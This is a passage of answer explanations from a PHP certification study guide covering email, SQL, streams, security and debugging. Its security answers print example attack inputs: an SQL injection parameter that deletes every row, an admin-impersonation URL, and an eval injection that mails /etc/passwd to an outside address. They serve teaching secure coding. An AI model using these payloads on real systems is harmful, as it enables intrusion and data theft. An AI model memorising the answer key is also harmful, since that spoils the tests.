13. Serializing an array is the correct way of transforming it into a string—the first step towards making it transportable across the e-mail network. Next, you'll need to encode it so that it can be safely sent across; the easiest way to do so in PHP 4 is to use the base64_encode function, which transforms it into a format that only uses 7 bits per character. Therefore, Answer D is correct.
14. The mime_content_type function is the easiest and safest way to determine the MIME type of a file. Answer D is, therefore, correct. Note that this function is part of a deprecated extension—but there's still a fair chance you'll find it in legacy code.
15. Adding a From header is not sufficient to ensure that sendmail won't rewrite your sender address when sending the message. In fact, you have to specify the envelope sender of the e-mail using the -f extra parameter to sendmail. These two steps, on their own, are not necessarily sufficient, however; you also have to ensure that the user under which Apache runs has the privilege of changing the envelope From header. Therefore, the correct answers are A, B and D.

Database Programming with PHP

Answers

1. The two best tips for optimizing this query are, if possible, to limit the amount of data extracted by it by adding a WHERE clause and specifying the exact fields you want extracted from it. In general, unless otherwise dictated by the circumstances, you should not use SELECT *, both because of the waste of data and because it exposes your application to problems arising from changes in the database structure. This makes answers B and C correct.
2. Queries can be filtered in a number of ways, but it's clear here that the question asks about filtering performed on the dataset to be returned by a query and, therefore, the WHERE clause is the correct answer.
3. The answer that comes closest to the truth is definitely Answer B. Inner joins are used to join the contents of two tables based on a specific set of commonalities and then create a dataset that only contains rows in common between them.
4. Answer E is correct. PHP has dedicated extensions for PostgreSQL and MySQL, while DB/2 can be accessed through ODBC and Microsoft SQL Server using TDS and the mssql extension. This question tests your knowledge of PHP's capabilities—which could come in handy if you were discussing database adoption with your development team.
5. Answers B and D are correct. This script is very dangerous because the data inputted from the user is not escaped or filtered in any way by the application before being sent to the DBMS. Therefore, if the URL contained the parameter ID=0+OR+1, the query would become DELETE FROM MYTABLE WHERE ID = 0 OR 1, causing the database to delete all the rows

from the
table.
6. The INSERT statement is, obviously the correct answer.
7. Answer C is correct. Writing good indexes often means analyzing the actual usage of a database and determining its weak points. It's also a good way of optimizing scripts that perform redundant queries needlessly!
8. Yes. You can nest an arbitrary number of join clauses, although the results may not always be what you expect.
9. Answer C is correct. Indexing the ID column will ensure prompt filtering of the dataset from the WHERE clause, while indexing NAME and ZIPCODE will make the sorting operation significantly
faster.
10. Given that this set of queries is contained within a transaction and that the transaction is rolled back at the end, no changes will be made to the database. Therefore, Answer E is correct.
11. Answer C is correct. The DESC keyword is used to reverse the default sorting mechanism applied to a column. In this case, therefore, it will cause the rows to be first sorted by ID and then by NAME in descending order.
12. The CURRENT_DATE function is not a standard SQL aggregate function (although it might exist
as a function supported by a particular database platform, it is not an aggregate).
13. Answers B and C are correct. In standard SQL, if a GROUP BY column is present, all the columns that are part of the result set must either be aggregate values or be part of the GROUP BY statement itself. Some DBMSs—notably, MySQL—allow you to break these rules, but they do not behave in a standard way and your queries will not work if ported to other database systems.
14. This is a very tricky question—and, yet, it illustrates a very common conceptual mistake about the way joins work. Despite the fact that one might be tempted to think that this query extracts the rows that the two tables do not have in common, the database takes it to mean "extract all the rows in which the IDs are different." There is a substantial difference at work here: the DBMS will simply take every row on the left and add to the result set every row on the right that doesn't have a matching ID. Therefore, the query will extract every row from TABLE1 times every row from TABLE2, minus the rows that the two have in common, thus making Answer C correct.
15. Transactions fit the bill perfectly. They are used to group together an arbitrary number of SQL statements so that they can either be all committed or rolled back as a single unit.

Stream and Network Programming

Answers

1. The correct answer is E—all of the items listed in the answers are completely valid wrapper resources in PHP. Almost all file-access functionality in PHP can now use any of these methods to work with both local and remote files.
2. The stream_wrapper_register function is used to register a user-defined file wrapper (created as a PHP class) as a valid wrapper protocol. It takes two parameters, the name of the new protocol and a class name implementing it.
3. The correct answer is D. The stream_get_meta_data function does not tell you how much data has passed through the stream—it does, however, tell you how much there is left to be read.
4. The correct answers are B and E. PHP only supports these two stream transports (STDIO for local operations and stream for remote operations) and will select the appropriate one automatically depending on the type of stream being created.
5. The correct answers are B and C. Stream contexts can be created and used to modify the behaviour of the file wrapper being used with a stream, or the transport of the stream itself.

Usually, creating a stream context is not necessary, as PHP does a very good job of managing most common situations for you.

6. You would normally use the fsockopen function to open a socket connection for communicating with a server whose protocol is not supported by PHP. This is useful, say, for communicating with a server that uses its own protocol and can be combined with user-defined file wrappers to implement stream support in PHP.
7. The correct answer is D—pdc, which isn't a real network transport. On top of the other transports listed above, PHP also supports secure transports, such as ssl and tls.
8. The correct answer is C. By default, sockets created by the fsockopen function will have blocking enabled, which means any call to read/write data will "block" other code from being executed until the data is actually processed across the wire. With blocking turned off, if there is no data to read the call to fread() will simply return quickly and you will be free to move on to other things.
9. To adjust the timeout of a socket when reading or writing data, you must use the stream_set_timeout function. It is not possible to adjust the timeout of read operations independently of writes—however, note that a stream timeout does not affect the connection timeout set when calling fsockopen().
10. The correct answer is B. Stream filters can be applied to any stream and can be stacked to perform multiple manipulations on data flowing through the stream at once. For instance, one can add both a ROT13 filter and a base64 filter to the same stream to produce a combination base64/ROT13 encoding.
11. Answer D is correct. The ip2long function converts the string 127.0.256 into an integer representation of the valid IP 127.0.1.0, which is then outputted by long2ip(). This is actually an effective method of checking whether an IP is valid (as mentioned in the PHP Manual itself).
12. Answer C is correct. The getservbyname function returns the numeric port associated with a specific service and protocol—FTP and TCP in this case, which, normally run on port 21 (but not always, since you can edit your services file to change the port number).
13. Answer B is correct. gethostbynamel() returns an array containing all the IPs associated with a particular mnemonic address.
14. The correct answers are C and D. The ftp:// stream wrapper can be used to read and write data to or from an FTP server, but you cannot create a new directory or change the current directory interactively as you would from a normal FTP client with it.
15. Answer A is correct. The stream_wrapper_register function is used to register a new stream wrapper; it accepts the name of a class that will be used to control the stream's functionality.

Writing Secure PHP Applications

Answers

1. The correct answer is D. Although in different ways each answer could be considered correct, by far the single largest piece of the security puzzle is the validation of information taken from any external source. Be it from a user's form submission or from the local server environment, any data taken from a third party source should always be validated to make sure it fits within the context of each application.
2. The correct answer is C. This code is, by any means, not secure! In fact, it is the classic security exploit of PHP scripts using the register_globals configuration directive. The problem lies in the $isAdmin variable: although this is clearly a Boolean value, it is only set in the event that the user is an Admin and not set at all if the user is not. Because register_globals is enabled, by simply appending that variable to the end of the URL as a GET parameter, a malicious user could easily impersonate an administrator:
   http://www.example.com/action.php?action=delete&data=foo&isAdmin=1
3. The correct answers are A, B, and D. A and B address the same security hole common among PHP scripts, where a malicious user is able to inject a URL into the $username

variable. If a user is able to do this, and allow_url_fopen is enabled, PHP will download the script located in the script.txt file on that remote untrusted server and execute it locally as PHP code! Another common exploit, which is arguably less serious, consists of passing user input to another user, for example in a forum or e-mail, without stripping it of unwanted HTML tags. Failing to do so allows a malicious user to write JavaScript code that, when displayed to another user, can cause cross-site scripting attacks or—if it properly exploits a browser bug—cause the user to unwittingly reveal personal information.

4. The correct answers are B and C. Although filtering data from "untrusted" sources sounds good, the reality is that any variables whose contents are taken from any foreign source risk being compromised—thus endangering your scripts as well. When dealing with a PHP installation where register_globals is enabled, it is absolutely necessary to ensure that all variables used in the script are initialized prior to their use to prevent malicious data from being injected into them.
5. When dealing with user data in database queries, you should always escape any undesired data from the SQL code. This is a universal database-related problem—all SQL-based database packages are vulnerable to SQL injections, and PHP provides comparable escaping functions to prevent them for each.
6. The correct answers are C and E. In PHP, there is no function that performs a "safe" execution of system commands for you and, in all cases where variables are involved, you should escape the command and arguments passed to the shell using the escapeshellcmd and escapeshellarg functions.
7. The correct answers are C and D. Even when dealing with a file that doesn't have to be saved after the script's execution is complete, the is_uploaded_file function should be used prior to accessing it to ensure that the filename given was correct. Likewise, if the file must be stored for a longer period of time, it must be moved out of its temporary location. You should always use the move_uploaded_file function, which performs the same check prior to moving the file, for this purpose.
8. The correct answers are A, B and C. Safe mode provides a number of additional security checks that can help prevent security breaches—especially on shared hosts, where multiple users have access to the same PHP instance. Although safe mode can limit, among other things, the execution of system commands, access to environment variables, and what files can be accessed for includes (for example by performing additional checks on the UID/GID of each file), it does not perform any database-related security checks.
9. The correct answer is B; the open_basedir configuration directive allows you to define a set of directories from which PHP is allowed to read from. This configuration directive is independent of whether safe_mode is enabled and can be useful to restricting access to one or more directories. Note that option D also describes a feasible method for restricting access; however, it is less simple—and more complicated to maintain—than using open_basedir.
10. The correct answer is B. Although it is possible to specify a maximum file size in your HTML form with the MAX_FILE_SIZE hidden field, there is, of course, no way to ensure that the client will be able—or willing—to enforce such a restriction.
11. When run in CGI mode, PHP automatically implements several measures aimed at preventing common security vulnerabilities. One of these is passing an arbitrary file as a command-line parameter for interpretation and execution. In this case, were these measures not in place, PHP would attempt to read /etc/passwd, which is a world-readable file, and interpret it as a PHP script, resulting in all your user accounts being outputted to the client. However, because of PHP's built-in security mechanisms, nothing actually happens; therefore, Answer D is correct.
12. The correct answer is E. All of the actions listed should be part of the routine of any developer serious about keeping their site secure. In order to be effective at keeping your sites secure, you must first be aware of the potential dangers. This means keeping up to date

with security announcements and logging suspicious activity that could tip you off to a malicious user attempting to hack your system.

13. The correct answer is B. Web sites should never dump what might seem like worthless information (such as a failed SQL query) to the user. Although to most users this information means nothing, it can provide a wealth of resources to developers (including malicious hackers), who can then use them to focus their efforts on a particular attack strategy. For instance, if a malicious user is made aware of the structure of your SQL queries, it is much easier to inject the correct data into your forms to achieve a security breach. When such errors occur, the user should only be presented with a message indicating that a malfunction took place, while the full details of the error should be logged on the server for the web master to review.
14. The correct answer is D. Even if it is hidden, this code snippet can allow the user to execute arbitrary code on the server. Although it is part of a math operation, consider what would happen if $_POST['number'] contained the following string:

    (eval("exec('cat /etc/passwd | mail baduser@somewhere.com');")) ? 0 : 1

    This would turn the anonymous function into:

    return $a * (eval("exec('cat /etc/passwd | mail baduser@somewhere.com');")) ? 0 : 1;

    Which effectively allows the user to execute arbitrary code within the eval() statement while still returning what might seem like a "valid" value. Any time code is being executed dynamically, for instance using create_function() or eval(), it is extremely important that the dynamic aspects of it be checked and re-checked to make sure no injections are possible!
15. Although any improperly-installed version of PHP can lead to security problems, the CGI setup is the least secure of the ones listed, as, by default, it suffers from several potential issues, as well as significantly inferior performance, that need to be addressed before the server can be put online. Therefore, Answer C is correct.

Debugging Code and Managing Performance

Answers

1. Answer E is correct. The ternary operation is arrived at by concatenating each of the if conditions in the script as part of && operations. In this case, however, the assignment $x = 1 only takes place if the third condition is evaluated as False. If either the first or the second conditions don't evaluate to True, $x = 1 will never be executed. You should keep in mind that this is a rather extreme example of ternary operator usage—you should always consider whether introducing these constructs in the picture helps code readability or not (in this case, it most definitely wouldn't).
2. Since the problem is mainly caused by the existence of a slow third-party source of data over which you have no control, you may be able to increase your performance by working on your connectivity (assuming the problem is on your end and not on the third party's) and by caching the content you receive from your counterpart so that you only have to retrieve it occasionally, instead of every time your script is executed. Therefore, Answers B and E are correct.
3. The correct choices are Answers B and D. Turning off error reporting, using the @ operator and turning off error logging would deprive you of a useful debugging and analysis tool should something go wrong while your site is being used by the end user.
4. This description corresponds to the === operator.
5. The correct answer is D. When a PHP script is executed, it is first parsed into "intermediate" code (also called opcode) and then run by an interpreter. The opcode cache interposes itself between the two stages, caching the output of the parser and then feeding it directly to the interpreter the next time the script is executed, thus eliminating the need for the latter to be parsed again.
6. The correct answers are A and D. If too little RAM is present, processes may find themselves contending for its usage, forcing the server to make heavy use of disk swapping.

By the same token, allowing too many processes to run at the same time can cause the server to switch context too often, resulting in slowdowns.

7. The correct answers are A and C. This script does not verify that the call to database_query() returns successfully and, therefore, would continue its execution without a valid database resource in the event of an error. Additionally, the $my_id parameter is not escaped—and this could lead to code injections (covered in Chapter 11).
8. Answers B and D are correct. Parse errors, which usually indicate a syntax error in the script, cannot be caught by a custom error handler for obvious reasons: since the error handler resides in the script and the script cannot be parsed, the handler cannot be executed. Similarly, E_ERROR is generally used to indicate fatal runtime errors, such as memory

allocation issues. Therefore, the script is immediately halted, because the interpreter is unable to guarantee that it will be possible to execute any further code.

9. Answer C is correct. This takes advantage of a fact that, while comparisons are commutative operations (meaning that the result is independent of the order of the operands), assignments are not. Therefore, for example, $a == 10 and 10 == $a are equivalent, while $a = 10 and 10 = $a are not—and the latter generates an error because it is an invalid operation. By ensuring that the constant is the first value in the operation, you can be sure that you did not mistakenly use an assignment when all you wanted to do was to compare.
10. Answer C is correct. The error_log function can be used, among other things, to send a message to a specified internal address. Although it uses the same internal function as mail(), error_log() automatically adds a subject to the e-mail and is, therefore, the easiest method of submitting an error report using this method.
11. The correct answer is no. While the error_reporting function can be used to turn off all runtime error reporting, it cannot be used to silence parse-time errors, for the simple reason that they occur before the script is actually executed.
12. Answer C is, obviously, correct. A profiler monitors a script while it is running, recording the times that it takes to execute every single portion of it. It can be used to identify and solve bottlenecks.
13. This is the perfect definition for a debugger! Debugging software makes it possible to identify and solve any programming defects by allowing you to carefully monitor each aspect of your scripts and analyze their effects on system resources one step at a time.
14. There really is no difference between trigger_error() and user_error()—in fact, the latter is simply an alias for the former!
15. Answer D is correct. The question describes the debug_backtrace function, which returns an array containing all the function calls (also known as a backtrace) that led to a certain point in the code.